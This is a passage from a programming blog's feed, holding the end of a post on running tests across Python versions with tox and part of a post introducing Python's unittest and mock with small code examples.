mockedStatus):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mockedStatus&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;return_value&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        StatusRetriever &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ExampleResponseGetter()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        responseStatus &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; StatusRetriever&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;retrieveStatusCode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, responseStatus)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First of all let&amp;rsquo;s import the urllib.request library by encapsulating it in a try, if we are in a version other than Python 3 the import will fail. We catch the exception and import the equivalent of the Python 2.7 method and, in each case, define the path that mock needs to patch the method. This way the tests should pass without a problem. Let&amp;rsquo;s run Tox again and see if it works.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;============&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; passed in 0.28 &lt;span style=&#34;color:#ff5c57&#34;&gt;seconds&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;============&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;____________________ summary ____________________&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  py27: commands succeeded&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  py35: commands succeeded&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  congratulations :&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Testing with tox was successful this time, we now know that our code works perfectly in both Python 2.7 and Python 3.5.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Previously I briefly discussed &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;unittest, coverage, mock, nose, nose, pytest and other testing tools in Python&lt;/a&gt;&#xA;. You are probably wondering then why do we need more libraries? In this post we are going to talk a bit about tox, a testing tool for testing code in different versions of Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-tox-for&#34;&gt;What is Tox for?&lt;/h2&gt;&#xA;&lt;p&gt;Imagine you are writing a small application for the general public. All your code tests pass, the application works perfectly.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Unittest python are python tests worthwhile?</title>
      <link>https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/</link>
      <pubDate>Tue, 11 Jun 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/</guid>
      
      <category>python</category>
      
      <category>testing</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Long ago, when I started programming I thought that testing code was a waste of time. Why did I need to write more code? python unittest? mock? I could just read the code, see the places where the code might fail and handle the problem with a try and an except (or the equivalent in another language). I also thought that, aside from syntax errors, no errors would be generated in the flow of the code if one wrote carefully enough. The first programming book I read had a section devoted entirely to testing and I didn&amp;rsquo;t understand what all the fuss was about. why should I incorporate tests into my Python code? It wasn&amp;rsquo;t long before I realized how wrong I was. unittest python&lt;/p&gt;&#xA;&lt;h2 id=&#34;testing-saves-time-lots-of-time&#34;&gt;Testing saves time, lots of time&lt;/h2&gt;&#xA;&lt;p&gt;The code we write increases in size every day, sometimes it also decreases in pursuit of better performance or abstraction, we remove methods that are no longer necessary, we shorten very long methods, we remove unnecessary comments. The code changes and with each of these changes there is the possibility that the code fails to execute; when the complete code is a few lines there is no problem, but when the code is long we do have a problem, we have to find the error and correct it, and sometimes the error does not manifest itself until the code has increased in size.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes testing the code manually takes a long time and, in many cases, even requires the input of a user or the response of an external web page to a previous web request made by us, this complicates the testing. With tests we can emulate the result of the responses, the input of the users, the result of the functions or methods and, all this, in fractions of a second, without the need to carry out a manual testing process that would take much more time.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;testing-is-an-insurance-against-failure&#34;&gt;Testing is an insurance against failure&lt;/h2&gt;&#xA;&lt;p&gt;When there are no tests and the code is being written by a team, every contribution made by a contributor is a potential bug. If a change is implemented and an error appears when executing the code, you will have to find out what went wrong and revert the change. If the error manifests itself after several collaborations made by the team, the loss of time is magnified, since the collaborations have to be undone to correct the error and then implemented again. Proper testing ensures that &lt;strong&gt;after each change in the code it will continue to perform its tasks correctly.&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;unittest-python-and-other-popular-testing-tools&#34;&gt;unittest python and other popular testing tools&lt;/h2&gt;&#xA;&lt;p&gt;There are many testing tools and they are different for each language. Here I will list some of the most popular ones for Python.&lt;/p&gt;&#xA;&lt;h3 id=&#34;unittest&#34;&gt;Unittest&lt;/h3&gt;&#xA;&lt;p&gt;Unittest is the most common testing tool, powerful and flexible. The following is an example of its use:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# testing.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; unittest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; urllib.request &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlopen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ExampleResponseGetter&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;retrieveStatusCode&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        statusCode &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; urlopen(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; statusCode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleError&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TestWebPaymentRequest&lt;/span&gt;(unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TestCase):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;testHttpResponse&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        requestObject &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ExampleResponseGetter()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        responseStatus &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; requestObject&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;retrieveStatusCode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, responseStatus)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The retrieveStatusCode method connects to the internet and makes a request to the example.org web site and returns the response code (if everything went well it will be 200). To test if it works we instantiate a class that inherits from unittest.TestCase, the class will test every method that begins with the word &amp;rsquo;test&#39;.&lt;/p&gt;&#xA;&lt;p&gt;The assertEqual method will make sure that the two arguments are equal, in this case 200 and responseStatus, if they are not, it will be considered as a failure and will show the result at the end.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--------------------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ran &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; in 0.000s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So far so good, but what if we have a slow internet connection, or no internet access to test? What if the 200 status is in response to a successful payment in an external e-commerce? We can&amp;rsquo;t be paying and returning the money to test.&lt;/p&gt;&#xA;&lt;p&gt;We need to find a way for the method to return those responses that we need to test, a status of 200, 404, 500, etc. The following library comes to solve these problems.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mock&#34;&gt;Mock&lt;/h3&gt;&#xA;&lt;p&gt;This library has the ability to &amp;lsquo;patch&amp;rsquo; functions or methods to return the value we want, that way we can emulate the result of accessing external APIs and focus on the logic of the code instead of the integration of the tests with an external system of which we often have no control. If you want to perform this test please remember to install mock from pip, preferably from a virtual environment.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install mock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once it is installed, we will proceed to use it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# testing.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; unittest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; urllib.request &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlopen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; mock &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; patch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ExampleResponseGetter&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;retrieveStatusCode&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        statusCode &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; urlopen(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; statusCode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleError&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TestWebPaymentRequest&lt;/span&gt;(unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TestCase):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@patch&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;urllib.request.urlopen&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;testHttpResponse&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, mockedStatus):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mockedStatus&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;return_value&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        StatusRetriever &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ExampleResponseGetter()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        responseStatus &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; StatusRetriever&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;retrieveStatusCode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, responseStatus)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here the decorator &amp;lsquo;patches&amp;rsquo; the urllib library function, and the patched version is passed as an argument to the method, we can modify the return value of this patched method, even if the return value is an object with other attributes, as in this case.&lt;/p&gt;&#xA;&lt;p&gt;By changing the value we assign to it we can handle different scenarios. For example, if instead of assigning a value of 200, we set it to 404, the test will fail, even if example.org is online and working perfectly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;F&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;======================================================================&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAIL: testHttpResponse &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;__main__.TestWebPaymentRequest&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--------------------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/eduardo/venv/lib/python3.8/site-packages/mock/mock.py&amp;#34;&lt;/span&gt;, line 1305, in patched&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; func&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;*args, **keywargs&lt;span 